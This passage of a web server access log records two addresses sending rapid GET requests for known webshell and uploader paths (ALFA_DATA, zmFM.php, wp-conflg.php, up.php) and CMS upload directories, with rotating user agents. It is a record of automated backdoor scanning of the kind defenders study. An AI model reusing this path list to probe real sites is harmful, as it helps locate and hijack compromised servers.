/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:33 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:33 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:34 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:34 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:34 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:34 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:34 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:34 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:34 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:34 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:35 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:35 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:35 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:35 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:35 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:36 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:36 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:36 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:36 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:36 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:37 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:37 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:37 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:37 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:37 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:37 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:38 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:38 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:38 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:38 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:38 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:39 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:39 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:39 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:39 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:39 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:39 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:40 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:40 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:40 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:40 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:40 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:40 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:41 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:41 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:41 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:41 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:41 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:42 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:43 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:43 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:43 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:43 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:43 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:44 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:44 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:44 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:44 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:44 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:45 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:45 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:45 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:45 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:45 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:45 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:46 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:46 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:46 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:46 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:46 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:46 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:47 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:47 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:47 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:47 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:47 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:48 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:48 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:48 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:48 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:48 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:48 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 